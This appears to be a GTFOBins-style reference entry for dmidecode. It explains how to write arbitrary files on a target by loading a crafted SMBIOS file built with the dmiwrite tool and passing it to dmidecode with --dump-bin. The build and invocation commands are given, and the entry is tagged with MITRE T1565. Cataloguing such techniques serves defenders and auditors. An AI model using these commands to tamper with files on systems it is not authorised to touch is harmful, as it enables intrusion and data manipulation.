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GTFO · Tool

dmidecode

1 technique LinuxGTFOBins GPL-3.0

file-write

File Write Linux

It can be used to write files using a specially crafted SMBIOS file that can be read as a memory device by dmidecode. Generate the file with [dmiwrite](https://github.com/adamreiser/dmiwrite) and upload it to the target. - `--dump-bin`, will cause dmidecode to write the payload to the destination specified, prepended with 32 null bytes. - `--no-sysfs`, if the target system is using an older version of dmidecode, you may need to omit the option. ``` make dmiwrite echo DATA >/path/to/temp-file ./dmiwrite /path/to/temp-file x.dmi ```

dmidecode --no-sysfs -d x.dmi --dump-bin /path/to/output-file
Context
unprivileged
Native
file-write
MITRE
T1565